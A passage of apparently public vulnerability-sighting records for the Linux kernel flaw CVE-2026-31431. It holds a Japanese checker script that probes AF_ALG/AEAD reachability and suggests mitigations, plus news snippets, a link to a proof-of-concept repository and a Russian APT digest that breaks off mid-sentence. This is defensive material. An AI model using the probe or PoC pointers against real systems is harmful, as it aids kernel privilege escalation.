\u5230\u9054\u6027\u3092 Python \u3067\u78ba\u8a8d\u4e2d...\"\n    PYTHON_RESULT=$(python3 - <<'PYEOF' 2>&1; true\nimport socket, errno, sys\n\nPF_ALG   = 38\nSOCK_SEQ = 5   # SOCK_SEQPACKET\nALG_SET_KEY  = 1\nALG_SET_IV   = 2\nALG_SET_OP   = 3\n\n# \u2500\u2500 Step 1: AF_ALG \u30bd\u30b1\u30c3\u30c8\u4f5c\u6210 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\ntry:\n    s = socket.socket(PF_ALG, SOCK_SEQ, 0)\nexcept (OSError, AttributeError) as e:\n    print(f\"AF_ALG_UNREACHABLE: {e}\")\n    sys.exit(0)\n\nprint(\"AF_ALG_REACHABLE\")\n\n# \u2500\u2500 Step 2: authencesn(hmac(sha256),cbc(aes)) \u30d0\u30a4\u30f3\u30c9 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nimport struct\n\n# struct sockaddr_alg: sa_family(2), type(14), feat(4), mask(4), name(64), key(32)\nALG_TYPE = b\"aead\\x00\"           + b\"\\x00\" * (14 - len(b\"aead\\x00\"))\nALG_NAME = b\"authencesn(hmac(sha256),cbc(aes))\\x00\"\nALG_NAME += b\"\\x00\" * (64 - len(ALG_NAME))\nsa = struct.pack(\"H\", PF_ALG) + ALG_TYPE + struct.pack(\"II\", 0, 0) + ALG_NAME + b\"\\x00\" * 32\n\ntry:\n    s.bind(sa)\n    print(\"AEAD_ALG_REACHABLE\")\nexcept OSError as e:\n    if e.errno in (errno.ENOENT, errno.EAFNOSUPPORT, errno.EINVAL, errno.ENOBUFS):\n        print(f\"AEAD_ALG_UNREACHABLE: {e}\")\n    else:\n        print(f\"AEAD_ALG_BIND_ERROR: {e}\")\nfinally:\n    s.close()\nPYEOF\n)\n\n    echo \"$PYTHON_RESULT\" | while IFS= read -r line; do\n        case \"$line\" in\n            AF_ALG_UNREACHABLE*)\n                ok \"AF_ALG \u30bd\u30b1\u30c3\u30c8: \u5230\u9054\u4e0d\u53ef (${line#*: }) \u2192 \u653b\u6483\u6761\u4ef6\u3092\u6e80\u305f\u3057\u307e\u305b\u3093\"\n                ;;\n            AF_ALG_REACHABLE)\n                warn \"AF_ALG \u30bd\u30b1\u30c3\u30c8: \u5230\u9054\u53ef\u80fd\"\n                AFALG_REACHABLE=1\n                ;;\n            AEAD_ALG_REACHABLE)\n                fail \"authencesn(hmac(sha256),cbc(aes)) \u30a2\u30eb\u30b4\u30ea\u30ba\u30e0: \u5229\u7528\u53ef\u80fd \u2192 \u60aa\u7528\u6761\u4ef6\u304c\u63c3\u3063\u3066\u3044\u307e\u3059\uff01\"\n                AEAD_REACHABLE=1\n                ;;\n            AEAD_ALG_UNREACHABLE*)\n                ok \"AEAD \u30a2\u30eb\u30b4\u30ea\u30ba\u30e0: \u5229\u7528\u4e0d\u53ef (${line#*: }) \u2192 \u60aa\u7528\u6761\u4ef6\u3092\u6e80\u305f\u3057\u307e\u305b\u3093\"\n                ;;\n            AEAD_ALG_BIND_ERROR*)\n                warn \"AEAD \u30a2\u30eb\u30b4\u30ea\u30ba\u30e0: \u30d0\u30a4\u30f3\u30c9\u30a8\u30e9\u30fc (${line#*: })\"\n                ;;\n        esac\n    done\nfi\n\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\nsection \"5. \u30ab\u30fc\u30cd\u30eb\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8a2d\u5b9a (\u8efd\u6e1b\u7b56)\"\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\n# unprivileged user namespace (\u653b\u6483\u7d4c\u8def\u306e\u4e00\u3064)\nif [[ -r /proc/sys/kernel/unprivileged_userns_clone ]]; then\n    val=$(cat /proc/sys/kernel/unprivileged_userns_clone)\n    if [[ \"$val\" -eq 0 ]]; then\n        ok \"unprivileged_userns_clone = 0 \u2192 \u975e\u7279\u6a29\u30e6\u30fc\u30b6\u30fc\u540d\u524d\u7a7a\u9593\u306f\u7121\u52b9\"\n    else\n        warn \"unprivileged_userns_clone = 1 \u2192 \u975e\u7279\u6a29\u30e6\u30fc\u30b6\u30fc\u540d\u524d\u7a7a\u9593\u304c\u6709\u52b9\u3067\u3059\"\n    fi\nfi\n\nif [[ -r /proc/sys/user/max_user_namespaces ]]; then\n    val=$(cat /proc/sys/user/max_user_namespaces)\n    if [[ \"$val\" -eq 0 ]]; then\n        ok \"max_user_namespaces = 0 \u2192 \u30e6\u30fc\u30b6\u30fc\u540d\u524d\u7a7a\u9593\u306f\u7121\u52b9\"\n    else\n        info \"max_user_namespaces = ${val}\"\n    fi\nfi\n\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\nsection \"6. \u7d50\u679c\u30b5\u30de\u30ea\u30fc\"\n# \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\necho \"\"\necho -e \"  \u30ab\u30fc\u30cd\u30eb       : ${KERNEL_FULL}\"\necho -e \"  \u8106\u5f31\u30d0\u30fc\u30b8\u30e7\u30f3 : $([ \"$VULN_VERSION\" -eq 1 ] && echo \"${RED}YES${RESET}\" || echo \"${GREEN}NO${RESET}\")\"\necho -e \"  AF_ALG \u5230\u9054\u6027  : $([ \"$AFALG_REACHABLE\" -eq 1 ] && echo \"${YELLOW}\u5230\u9054\u53ef\u80fd${RESET}\" || echo \"${GREEN}\u5230\u9054\u4e0d\u53ef${RESET}\")\"\necho -e \"  AEAD \u5229\u7528\u53ef\u5426  : $([ \"$AEAD_REACHABLE\" -eq 1 ] && echo \"${RED}\u5229\u7528\u53ef\u80fd${RESET}\" || echo \"${GREEN}\u5229\u7528\u4e0d\u53ef${RESET}\")\"\necho \"\"\n\nif [[ \"$VULN_VERSION\" -eq 1 && \"$AEAD_REACHABLE\" -eq 1 ]]; then\n    echo -e \"${RED}${BOLD}\u26a0  \u7dcf\u5408\u5224\u5b9a: \u8106\u5f31 (CVE-2026-31431 \u306e\u653b\u6483\u6761\u4ef6\u304c\u63c3\u3063\u3066\u3044\u307e\u3059)${RESET}\"\n    echo \"\"\n    echo \"  \u3010\u63a8\u5968\u5bfe\u5fdc\u3011\"\n    echo \"    1. \u30ab\u30fc\u30cd\u30eb\u3092\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8:\"\n    echo \"       - 6.18.x\u7cfb \u2192 6.18.22 \u4ee5\u4e0a\"\n    echo \"       - 6.19.x\u7cfb \u2192 6.19.12 \u4ee5\u4e0a\"\n    echo \"       - \u30c7\u30a3\u30b9\u30c8\u30ed\u30d1\u30c3\u30b1\u30fc\u30b8\u4f8b:\"\n    echo \"           Ubuntu: sudo apt update && sudo apt upgrade linux-image-generic\"\n    echo \"           RHEL:   sudo dnf update kernel\"\n    echo \"           Amazon Linux: sudo yum update kernel\"\n    echo \"    2. \u66ab\u5b9a\u63aa\u7f6e: algif_aead \u30e2\u30b8\u30e5\u30fc\u30eb\u3092\u30d6\u30ed\u30c3\u30af\"\n    echo \"       echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/block-algif-aead.conf\"\n    echo \"       sudo update-initramfs -u   # (Ubuntu/Debian)\"\n    echo \"    3. \u518d\u8d77\u52d5\u5f8c\u306b\u672c\u30b9\u30af\u30ea\u30d7\u30c8\u3067\u518d\u78ba\u8a8d\u3057\u3066\u304f\u3060\u3055\u3044\u3002\"\nelif [[ \"$VULN_VERSION\" -eq 1 ]]; then\n    echo -e \"${YELLOW}${BOLD}\u25b3  \u7dcf\u5408\u5224\u5b9a: \u8981\u6ce8\u610f (\u30d0\u30fc\u30b8\u30e7\u30f3\u306f\u8106\u5f31\u3067\u3059\u304c AEAD \u306f\u73fe\u6642\u70b9\u3067\u306f\u5230\u9054\u4e0d\u53ef)${RESET}\"\n    echo \"     \u30ab\u30fc\u30cd\u30eb\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u63a8\u5968\u3057\u307e\u3059\u3002\"\nelse\n    echo -e \"${GREEN}${BOLD}\u2714  \u7dcf\u5408\u5224\u5b9a: \u5bfe\u7b56\u6e08\u307f / \u5bfe\u8c61\u5916${RESET}\"\n    echo \"     \u3053\u306e\u30b7\u30b9\u30c6\u30e0\u306f CVE-2026-31431 \u306e\u5f71\u97ff\u3092\u53d7\u3051\u307e\u305b\u3093\u3002\"\nfi\n\necho \"\"\necho \"  \u53c2\u8003:\"\necho \"    NVD    : https://nvd.nist.gov/vuln/detail/CVE-2026-31431\"\necho \"    Sysdig : https://www.sysdig.com/blog/cve-2026-31431-copy-fail-linux-kernel-flaw\"\necho \"    PoC    : https://github.com/theori-io/copy-fail-CVE-2026-31431 (Theori \u516c\u5f0f)\"\necho \"\"", "creation_timestamp": "2026-05-12T05:02:30.000000Z"}, {"uuid": "0834593e-3c17-486a-8d2d-f9e754c6a532", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mlne2qg4fl72", "content": "Copy Fail and Dirty Frag: Linux Page-Cache Exploits Target Every Major Distribution Two recent Linux kernel vulnerabilities have been disclosed: Copy Fail (CVE-2026-31431) on April 29, 2026, and Di...\n\n#Linux #Security #Vulnerabilities #DevOps #news\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-12T08:18:21.694131Z"}, {"uuid": "0ab5d1b8-3ba4-4961-b430-d7989880ebfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83900", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a gbonacini\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C++\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-12 07:57:22\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA CVE-2026-31431 (aka Copyfail) implementation in c++ and assembly\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-12T08:00:04.000000Z"}, {"uuid": "66a829fa-231c-4b7b-adab-10f90cd18da7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/kasperskyb2b/2165", "content": "\ud83d\ude35\u200d\ud83d\udcab \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f APT \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\ud83d\ude08 \u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u0430\u044f \u0443\u0442\u0438\u043b\u0438\u0442\u0430 DAEMON Tools \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a. \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0449\u0438\u043a\u0438 \u0441 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0430\u0439\u0442\u0430, \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c \u0432\u0435\u043d\u0434\u043e\u0440\u0430, \u0437\u0430\u0440\u0430\u0437\u0438\u043b\u0438 \u0442\u044b\u0441\u044f\u0447\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0412\u041f\u041e \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0444\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0436\u0435\u0440\u0442\u0432. \u041d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 (\u0433\u043e\u0441\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440, \u043d\u0430\u0443\u0447\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u0438 \u0442\u043e\u0440\u0433\u043e\u0432\u044b\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438, \u0411\u0435\u043b\u043e\u0440\u0443\u0441\u0441\u0438\u0438 \u0438 \u0422\u0430\u0438\u043b\u0430\u043d\u0434\u0435) \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0432\u0442\u043e\u0440\u043e\u0439 \u044d\u0442\u0430\u043f \u0430\u0442\u0430\u043a\u0438 \u2014 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u0438\u0441\u0442\u0438\u0447\u043d\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440, \u0430 \u0432 \u043e\u0434\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u2014 \u0431\u043e\u043b\u0435\u0435 \u0441\u043b\u043e\u0436\u043d\u043e\u0435 \u0412\u041f\u041e QUIC RAT.\n\n\u2744\ufe0f \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0442\u0435\u0445\u043d\u0438\u043a \u0438 \u0442\u0430\u043a\u0442\u0438\u043a \u0433\u0440\u0443\u043f\u043f\u044b UAT-8302, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u0442\u0430\u043a\u0443\u0435\u0442 \u0433\u043e\u0441\u043e\u0440\u0433\u0430\u043d\u044b \u0432 \u042e\u0436\u043d\u043e\u0439 \u0410\u043c\u0435\u0440\u0438\u043a\u0435 \u0438 \u0415\u0432\u0440\u043e\u043f\u0435. \u0412 \u0430\u0440\u0441\u0435\u043d\u0430\u043b \u0432\u0445\u043e\u0434\u044f\u0442 \u0431\u044d\u043a\u0434\u043e\u0440\u044b NetDraft \u0438 \u0445\u043e\u0440\u043e\u0448\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043d\u0430\u043c CloudSorcerer, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u043e\u0432\u043e\u0435 \u0412\u041f\u041e SNOWRUST.\n\n\ud83e\udeb7 \u0420\u0430\u0437\u0431\u043e\u0440 \u0430\u0442\u0430\u043a\u0438 APT OceanLotus, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u044b\u043b\u0438 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u0447\u043d\u044b\u0435 \u0430\u0440\u0445\u0438\u0432\u044b Python (wheels), \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0432 PyPI. \u0427\u0435\u0440\u0435\u0437 \u044d\u0442\u043e\u0442 \u0432\u0435\u043a\u0442\u043e\u0440 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u043b\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u0438\u043c\u043f\u043b\u0430\u043d\u0442 ZiChatBot, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0439 Zulip REST API \u043a\u0430\u043a \u043a\u0430\u043d\u0430\u043b \u04212. ZiChatBot \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043f\u043e\u0434 Windows \u0438 Linux \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u043e\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0448\u0435\u043b\u043b\u043a\u043e\u0434. \u0412 \u0446\u0435\u043b\u043e\u043c \u044d\u0442\u0430 APT \u043f\u043e\u0441\u0442\u0435\u043f\u0435\u043d\u043d\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u0441\u0432\u043e\u0438 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0410\u0437\u0438\u0438, \u0430 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 PyPI \u0434\u0430\u0451\u0442 \u0435\u0439 \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u043e\u0445\u0432\u0430\u0442.\n\n\ud83d\udfe2\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b Lazarus \u0441\u0434\u0435\u043b\u0430\u043b\u0438  \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0434\u043b\u044f \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 Contagious Interview \u0431\u043e\u043b\u0435\u0435 \u0441\u043a\u0440\u044b\u0442\u043d\u044b\u043c\u0438. \u0425\u0443\u043a\u0438 \u0432 \u00ab\u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0445 \u0437\u0430\u0434\u0430\u043d\u0438\u044f\u0445\u00bb \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442 \u043d\u0430 \u0440\u0443\u0442\u0438\u043d\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u0445 git \u0432\u0440\u043e\u0434\u0435 clone \u0438\u043b\u0438 commit, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0443\u0447\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 npm install.\n\n\ud83d\udfe2 APT ScarCruft \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0430 \u0431\u044d\u043a\u0434\u043e\u0440\u044b \u0432 Windows\u2011 \u0438 Android\u2011\u043a\u043b\u0438\u0435\u043d\u0442\u044b \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 \u0438\u0433\u0440\u043e\u0432\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u0443 \u044d\u0442\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043e\u0440\u0435\u0439\u0446\u0435\u0432 \u0432 \u0440\u0430\u0439\u043e\u043d\u0435 \u042f\u043d\u044c\u0431\u044f\u043d\u044c. \u041c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u0438 RokRAT \u0438 BirdCall \u0443\u0437\u043a\u043e\u043c\u0443 \u043a\u0440\u0443\u0433\u0443 \u0436\u0435\u0440\u0442\u0432.\n\n\ud83d\udfe2 \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0444\u0438\u0448\u0438\u043d\u0433\u0430, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u043d\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0431\u0435\u0441\u043f\u0438\u043b\u043e\u0442\u043d\u043e\u0439 \u0430\u0432\u0438\u0430\u0446\u0438\u0438, \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0432 \u0420\u0424 \u0438 \u0426\u0435\u043d\u0442\u0440\u0430\u043b\u044c\u043d\u043e\u0439 \u0410\u0437\u0438\u0438. \u041f\u0440\u0438\u043c\u0430\u043d\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0436\u0435\u0440\u0442\u0432\u0430\u043c \u0412\u041f\u041e, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0435 \u043d\u0430 Rust.\n\n\ud83d\udd35 APT MuddyWater/Seedworm \u0432 \u0440\u044f\u0434\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u043b\u0430 \u0448\u0438\u0440\u043e\u043a\u043e\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a Chaos. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0447\u0438\u0442\u0430\u044e\u0442, \u0447\u0442\u043e \u044d\u0442\u043e \u2014 \u043e\u0442\u0432\u043b\u0435\u043a\u0430\u044e\u0449\u0438\u0439 \u043c\u0430\u043d\u0451\u0432\u0440 \u0434\u043b\u044f \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35 \u041e\u0431\u0437\u043e\u0440 \u0442\u0435\u0445\u043d\u0438\u043a, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0445 \u0438\u043d\u0444\u043e\u0441\u0442\u0438\u043b\u0435\u0440\u043e\u043c VoidStealer \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f application-bound encryption \u0438 \u043a\u0440\u0430\u0436\u0438 \u043a\u0443\u043a\u0438 \u0432 Chrome, Edge \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u0445 \u043d\u0430 \u0431\u0430\u0437\u0435 Chromium.\n\n\ud83d\udfe3 \u0410\u043d\u0430\u043b\u0438\u0437 PamDOORa \u2014 Linux\u2011\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u043e\u0441\u0442\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 PAM\u2011\u043c\u043e\u0434\u0443\u043b\u044c, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0449\u0438\u0439 SSH\u2011\u0434\u043e\u0441\u0442\u0443\u043f \u043f\u043e \u00ab\u043c\u0430\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443\u00bb \u043f\u0430\u0440\u043e\u043b\u044e \u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u043c\u0443 TCP\u2011\u043f\u043e\u0440\u0442\u0443, \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u043e \u0441\u043e\u0431\u0438\u0440\u0430\u044f \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432\u0441\u0435\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0447\u0435\u0440\u0435\u0437 \u0445\u043e\u0441\u0442. \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043f\u0440\u043e\u0434\u0430\u0451\u0442\u0441\u044f \u043d\u0430 \u043f\u043e\u0434\u043f\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u043e\u0440\u0443\u043c\u0430\u0445.\n\n\ud83d\udfe3 \u041e\u0442\u0447\u0451\u0442 \u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u0439 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 AitM, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0432\u0448\u0435\u0439 \u0431\u043e\u043b\u0435\u0435 13000 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0432 26 \u0441\u0442\u0440\u0430\u043d\u0430\u0445. \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u0447\u0442\u043e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u0442\u0435\u043c\u0443 \u00ab\u043f\u0440\u0430\u0432\u0438\u043b \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f\u00bb (code of conduct). \n\n\ud83d\udfe3\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 IAM\u2011\u043a\u043b\u044e\u0447\u0438 \u0441\u043b\u0443\u0436\u0431 AWS, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0442\u0435\u043a\u043b\u0438 \u0432 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u044b\u0435 \u043e\u0431\u0440\u0430\u0437\u044b. \u042d\u0442\u0438 \u043a\u043b\u044e\u0447\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u0442\u044c \u0444\u0438\u0448\u0438\u043d\u0433 